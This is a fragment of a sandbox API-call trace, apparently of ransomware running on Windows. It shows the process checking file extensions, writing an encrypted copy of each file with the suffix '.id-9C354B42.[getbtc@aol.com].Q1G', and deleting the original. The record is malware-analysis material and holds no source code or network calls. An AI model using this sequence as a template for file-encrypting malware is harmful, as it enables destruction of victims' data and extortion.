(lpString1=".ppt", lpString2=".png") returned 1 [0052.767] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png") returned 73 [0052.767] lstrlenW (lpString=".zip") returned 4 [0052.767] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0052.767] lstrlenW (lpString=".rar") returned 4 [0052.767] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0052.767] lstrlenW (lpString=".bz2") returned 4 [0052.767] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0052.767] lstrlenW (lpString=".7z") returned 3 [0052.768] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0052.768] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png") returned 73 [0052.768] lstrlenW (lpString=".dbf") returned 4 [0052.768] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0052.768] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png") returned 73 [0052.768] lstrlenW (lpString=".1cd") returned 4 [0052.768] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0052.768] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png") returned 73 [0052.768] lstrlenW (lpString=".jpg") returned 4 [0052.768] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0052.768] lstrcmpiW (lpString1=".png", lpString2=".Q1G") returned -1 [0052.768] lstrlenW (lpString="Pets_btn-over-DOT.png") returned 21 [0052.768] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-over-dot.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0052.945] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=2891) returned 1 [0052.945] CloseHandle (hObject=0x1fc) returned 1 [0052.945] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-over-dot.png")) returned 0x20 [0052.945] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-over-dot.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0052.946] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-over-dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0052.946] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png") returned 70 [0052.946] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png") returned 70 [0052.946] lstrlenW (lpString=".doc") returned 4 [0052.946] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0052.946] lstrlenW (lpString=".docx") returned 5 [0052.946] lstrcmpiW (lpString1=".docx", lpString2="T.png") returned -1 [0052.946] lstrlenW (lpString=".pdf") returned 4 [0052.946] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0052.946] lstrlenW (lpString=".xls") returned 4 [0052.946] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0052.946] lstrlenW (lpString=".xlsx") returned 5 [0052.946] lstrcmpiW (lpString1=".xlsx", lpString2="T.png") returned -1 [0052.946] lstrlenW (lpString=".ppt") returned 4 [0052.946] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0052.946] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png") returned 70 [0052.946] lstrlenW (lpString=".zip") returned 4 [0052.946] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0052.946] lstrlenW (lpString=".rar") returned 4 [0052.946] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0052.946] lstrlenW (lpString=".bz2") returned 4 [0052.946] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0052.946] lstrlenW (lpString=".7z") returned 3 [0052.946] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0052.946] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png") returned 70 [0052.946] lstrlenW (lpString=".dbf") returned 4 [0052.946] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0053.140] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0053.140] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0053.140] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0053.141] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0053.142] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0053.142] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0053.142] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0053.143] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0053.143] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0053.144] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0053.161] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.161] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0053.161] GetLastError () returned 0x0 [0053.161] ReadFile (in: hFile=0x214, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x4360, lpOverlapped=0x0) returned 1 [0053.163] WriteFile (in: hFile=0x1d0, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0x4370, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x4370, lpOverlapped=0x0) returned 1 [0053.165] ReadFile (in: hFile=0x214, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.165] WriteFile (in: hFile=0x1d0, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0053.165] SetEndOfFile (hFile=0x1d0) returned 1 [0053.165] CloseHandle (hObject=0x1d0) returned 1 [0053.165] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.165] SetEndOfFile (hFile=0x214) returned 1 [0053.166] CloseHandle (hObject=0x214) returned 1 [0053.166] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0053.166] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl")) returned 1 [0053.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0053.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0053.167] lstrlenW (lpString=".doc") returned 4 [0053.167] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0053.167] lstrlenW (lpString=".docx") returned 5 [0053.167] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0053.167] lstrlenW (lpString=".pdf") returned 4 [0053.167] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0053.167] lstrlenW (lpString=".xls") returned 4 [0053.167] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0053.167] lstrlenW (lpString=".xlsx") returned 5 [0053.167] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0053.167] lstrlenW (lpString=".ppt") returned 4 [0053.167] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0053.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0053.167] lstrlenW (lpString=".zip") returned 4 [0053.167] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0053.167] lstrlenW (lpString=".rar") returned 4 [0053.167] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0053.167] lstrlenW (lpString=".bz2") returned 4 [0053.167] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0053.167] lstrlenW (lpString=".7z") returned 3 [0053.167] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0053.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0053.167] lstrlenW (lpString=".dbf") returned 4 [0053.167] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0053.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0053.167] lstrlenW (lpString=".1cd") returned 4 [0053.167] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0053.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0053.167] lstrlenW (lpString=".jpg") returned 4 [0053.168] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0053.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0053.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0053.168] lstrlenW (lpString=".doc") returned 4 [0053.168] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0053.168] lstrlenW (lpString=".docx") returned 5 [0053.168] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0053.168] lstrlenW (lpString=".pdf") returned 4 [0053.168] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0053.168] lstrlenW (lpString=".xls") returned 4 [0053.168] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0053.168] lstrlenW (lpString=".xlsx") returned 5 [0053.168] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0053.168] lstrlenW (lpString=".ppt") returned 4 [0053.168] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0053.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0053.168] lstrlenW (lpString=".zip") returned 4 [0053.168] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0053.168] lstrlenW (lpString=".rar") returned 4 [0053.168] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0053.168] lstrlenW (lpString=".bz2") returned 4 [0053.168] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0053.168] lstrlenW (lpString=".7z") returned 3 [0053.168] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0053.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0053.168] lstrlenW (lpString=".dbf") returned 4 [0053.168] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0053.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0053.168] lstrlenW (lpString=".1cd") returned 4 [0053.168] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0053.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0053.168] lstrlenW (lpString=".jpg") returned 4 [0053.168] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0053.169] lstrcmpiW (lpString1=".xsl", lpString2=".Q1G") returned 1 [0053.169] lstrlenW (lpString="as90.xsl") returned 8 [0053.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0054.733] GetFileSizeEx (in: hFile=0x23c, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=18738) returned 1 [0054.733] CloseHandle (hObject=0x23c) returned 1 [0054.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl")) returned 0x20 [0054.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0054.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0054.759] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.759] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0054.759] GetLastError () returned 0x0 [0054.759] ReadFile (in: hFile=0x23c, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x4932, lpOverlapped=0x0) returned 1 [0054.761] WriteFile (in: hFile=0x244, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0x4940, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x4940, lpOverlapped=0x0) returned 1 [0054.763] ReadFile (in: hFile=0x23c, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.763] WriteFile (in: hFile=0x244, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0054.763] SetEndOfFile (hFile=0x244) returned 1 [0054.763] CloseHandle (hObject=0x244) returned 1 [0054.763] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.763] SetEndOfFile (hFile=0x23c) returned 1 [0054.764] CloseHandle (hObject=0x23c) returned 1 [0054.764] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0054.764] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl")) returned 1 [0054.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0054.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0054.765] lstrlenW (lpString=".doc") returned 4 [0054.765] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0054.765] lstrlenW (lpString=".docx") returned 5 [0054.765] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0054.765] lstrlenW (lpString=".pdf") returned 4 [0054.765] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0054.765] lstrlenW (lpString=".xls") returned 4 [0054.765] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0054.765] lstrlenW (lpString=".xlsx") returned 5 [0054.765] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0054.765] lstrlenW (lpString=".ppt") returned 4 [0054.765] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0054.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0054.765] lstrlenW (lpString=".zip") returned 4 [0054.765] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0054.765] lstrlenW (lpString=".rar") returned 4 [0054.765] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0054.765] lstrlenW (lpString=".bz2") returned 4 [0054.765] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0054.765] lstrlenW (lpString=".7z") returned 3 [0054.765] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0054.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0054.765] lstrlenW (lpString=".dbf") returned 4 [0054.765] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0054.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0054.765] lstrlenW (lpString=".1cd") returned 4 [0054.765] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0054.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0054.765] lstrlenW (lpString=".jpg") returned 4 [0054.765] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0054.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0054.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0054.765] lstrlenW (lpString=".doc") returned 4 [0054.765] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0054.765] lstrlenW (lpString=".docx") returned 5 [0054.766] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0054.766] lstrlenW (lpString=".pdf") returned 4 [0054.766] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0054.766] lstrlenW (lpString=".xls") returned 4 [0054.766] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0054.766] lstrlenW (lpString=".xlsx") returned 5 [0054.766] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0054.766] lstrlenW (lpString=".ppt") returned 4 [0054.766] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0054.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0054.766] lstrlenW (lpString=".zip") returned 4 [0054.766] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0054.766] lstrlenW (lpString=".rar") returned 4 [0054.766] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0054.766] lstrlenW (lpString=".bz2") returned 4 [0054.766] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0054.766] lstrlenW (lpString=".7z") returned 3 [0054.766] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0054.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0054.766] lstrlenW (lpString=".dbf") returned 4 [0054.766] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0054.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0054.766] lstrlenW (lpString=".1cd") returned 4 [0054.766] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0054.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0054.766] lstrlenW (lpString=".jpg") returned 4 [0054.766] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0054.766] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0054.766] lstrlenW (lpString="AG00090_.GIF") returned 12 [0054.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0054.767] GetFileSizeEx (in: 